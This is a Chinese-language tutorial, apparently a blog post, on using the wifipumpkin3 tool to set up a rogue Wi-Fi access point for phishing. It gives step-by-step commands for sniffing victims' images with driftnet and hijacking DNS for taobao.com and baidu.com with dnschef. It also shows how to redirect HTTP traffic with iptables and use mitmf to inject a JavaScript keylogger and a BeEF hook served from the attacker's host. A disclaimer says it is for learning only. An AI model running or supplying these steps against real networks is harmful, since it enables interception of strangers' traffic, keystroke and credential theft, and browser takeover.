wifipumpkin3无线钓鱼
声明(必看!必看!)
文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用。
安装
用wifipumpkin3使用Python 3编写,您的机器上需要有一个可以工作的 Python(3.7 版或更高版本)。
注意
-
不支持Windows 。
-
不支持Mac OS X。只有docker版本,但没有经过测试。
要求
您需要有一个支持接入点 (AP) 模式的 Wi-Fi 适配器。
工具(预装)
-
iptables(当前:iptables v1.6.1)
-
iw(当前:iw 版本 4.14)
-
网络工具(当前:版本(1.60+)
-
无线工具(当前:版本 30~pre9-12)
-
hostapd(当前:hostapd v2.6)
操作系统(推荐)
OS | Version |
---|---|
Ubuntu | 18.04 LTS bionic |
Docker | Ubuntu 18.04.4 LTS bionic |
在Kali Linux上安装
安装os依赖和下载wifipumpkin3包
$ sudo apt install libssl-dev libffi-dev build-essential $ git clone https://github.com/P0cL4bs/wifipumpkin3.git $ cd wifipumpkin3
安装PyQt5
sudo apt install python3-pyqt5
检查pyqt5是否安装成功:
python3 -c "from PyQt5.QtCore import QSettings; print('done')"
如果回显done说明安装成功
编译安装wifipumpkin3
$ sudo python3 setup.py install
如果您在下面看到此消息,则一切正常!
Finished processing dependencies for wifipumpkin3==1.0.0
启动wifipumpkin3
在终端输入
wifipumpkin3
显示wp3
核心命令
help
将列出所有可用的命令
clients
使用高级 UI 显示接入点上连接的所有客户端
ap
显示设置 AP 的所有变量和状态。您可以看到 ( bssid
, ssid
, channel
, security
, 或status ap
)
set
设置变量代理、插件和接入点,这个命令集就像 metasploitset
命令。
unset
未设置变量命令 hostapd_config
start
启动接入点 (AP),如果没有问题,将会看到一个带有 hostapd 程序的新 AP。代理,插件也应该被初始化。
stop
停止在后台运行的访问点、进程、线程、插件和代理。
ignore
消息记录器将被忽略,参数可以是 ( captiveflask
, pumpkinproxy
, pydns_server
sniffkin3
)。如果您键入此命令,则不再看到登录控制台 WP。
restore
消息记录器将被恢复,正如你在上面看到的,这个命令是相反的,ignore
具有相同的参数将恢复控制台日志。
info
从代理/插件获取信息,此命令显示代理/插件的一些信息,例如(日志路径,配置路径,描述)
jobs
在后台显示所有线程/进程。有时您需要查找 WP 创建的进程的进程 ID 或线程名称。
mode
显示所有可用的无线模式。
plugins
显示所有可用的插件及其状态。
proxies
显示所有可用的代理及其状态。
show
显示可用的模块。
search
按名称搜索模块,这将在未来 milion od modules 😎 可用时实现
use
为模块选择模块,在 metasploit 模块中充满灵感。
dump
从连接在 AP 上的客户端转储信息。
dhcpconf
显示/选择 dhcp 服务器配置
dhcpmode
显示/设置所有可用的 dhcp 服务器。
创建一个wifi
设置无线网卡 set interface wlan0 设置无线网信号(ATI按自己需求更改,就是创建出来的wifi名称) set ssid ATI 设置插件 set proxy noproxy 开启dns转发 ignore pydns_server 开始攻击 start
用户连接无线后可以看到访问记录,http的可以显示提交内容等
攻击手法
图片嗅探
工具:driftnet
过程:
driftnet -i wlan0
然后程序会打开一个小窗口显示所有传输的图片:
注:这里一直说图片太小无法处理,而且抓不到全部图片,有研究这个的大佬可不可以指导指导。
单击图片保存到/
当然可以开启 Adjunct mode:
driftnet -i wlan0 -a
直接保存图片并显示文件名。
劫持DNS
工具:dnschef
过程:
dnschef -i 10.0.0.1 --nameserver 114.114.114.114
上述命令是以ip10.0.0.1(上文中的伪造ap网关和DNS的ip)建立dns,对于所有请求转发到114.114.114.114进行解析。显然这只是个"代理"并没有劫持的功效
于是我们进一步添加劫持:
dnschef --fakedomains=taobao.com,baidu.com --fakeip=10.0.0.1 -i 10.0.0.1 --nameserver 114.114.114.114
把淘宝和百度解析到本机。
注:根据自己的dns服务器更改--nameserver后的地址,默认为8.8.8.8
详细内容可以参考http://t.csdn.cn/8awXJ
劫持Web流量
工具:BEEF;mitmf;iptables
过程:
先把80端口的流量劫持走(这里10000是mitmf默认监听端口)
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
然后打开mitmf
mitmf -i wlan0 --replace --search-str asd --replace-str bnm #把所有网页中的asd替换成bnm
mitmf -i waln0 --inject --js-url http://10.0.0.1:3000/hook.js --jskeylogger
mitmf在这里注入了js键盘记录器和beef的攻击测试脚本,由于本人精力有限其余的攻击方式(比如javapwn)可以自己研究。
最后用BEEF测试用户浏览器
/usr/share/beef-xss/beef
浏览器打开http://127.0.0.1:3000/ui/panel ,初始用户名和密码都是beef
beef详细钓鱼手法大家网上手动查一下,就不在此处详细描述了。
踩坑总结
报错 the interface not found or is unavailable
interface 指定网卡错误 或者未插入此网卡 ifconfig查看自己无线网卡名称
插入无线网卡后重新执行start(不重新set参数会默认执行上次设定的参数)
成功创建名称为ATI的无线
无线无法获取到地址
dhcp配置错误
ease-time 8000; subnet 10.0.0.0 netmask 255.255.255.0 { option routers 10.0.0.1; option subnet-mask 255.255.255.0; option domain-name-servers 10.0.0.1; range 10.0.0.10 10.0.0.100; }
将上面的代码添加到 /etc/dhcp/dhcpd.conf
重新启动dhcp服务
dhcpd -cf /etc/dhcp/dhcpd.conf
连接无线无法上网
echo 1 > /proc/sys/net/ipv4/ip_forward #开启ip转发 iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE #对eth0进行snat iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT #把无线网卡流量转发到有线网卡(或者什么能上网的网卡)上面 iptables -A FORWARD -p tcp --syn -s 10.0.0.0/24 -j TCPMSS --set-mss 1356 #修改最大报文段长度
互相交流
欢迎各位大佬指出不足,互相交流安全知识,共同守护网络安全!